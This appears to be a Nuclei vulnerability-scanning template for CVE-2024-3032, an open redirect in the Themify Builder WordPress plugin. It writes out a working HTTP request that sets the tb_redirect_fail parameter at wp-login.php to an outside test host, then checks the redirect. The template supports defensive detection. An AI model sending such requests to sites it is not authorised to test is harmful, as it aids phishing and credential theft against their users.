WordPress Themify Builder < 7.5.8 - Open Redirect

id: CVE-2024-3032

info:
  name: WordPress Themify Builder < 7.5.8 - Open Redirect
  author: ritikchaddha
  severity: medium
  description: |
    The Themify Builder WordPress plugin before version 7.5.8 contains an open redirect vulnerability. The plugin does not validate the tb_redirect_fail parameter before redirecting users to its value, which could allow attackers to redirect users to malicious websites.
  impact: |
    Attackers can redirect users to malicious websites, potentially leading to phishing attacks or credential theft.
  remediation: |
    Update Themify Builder to version 7.5.8 or later.
  reference:
    - https://wpscan.com/vulnerability/d130a60c-c36b-4994-9b0e-e52cd7f99387
    - https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2024-3032
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-3032
    cwe-id: CWE-601
    epss-score: 0.00823
    epss-percentile: 0.52827
    cpe: cpe:2.3:a:themify:builder:*:*:*:*:-:wordpress:*:*
  metadata:
    max-request: 2
    vendor: themify
    product: builder
    fofa-query: body="wp-content/plugins/themify-builder/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,redirect,themify-builder,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "themify-builder"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: http://oast.me

        log={{username}}&pwd={{password}}&tb_login=1&tb_redirect_fail=https://oast.me

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 302

      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.me.*$'
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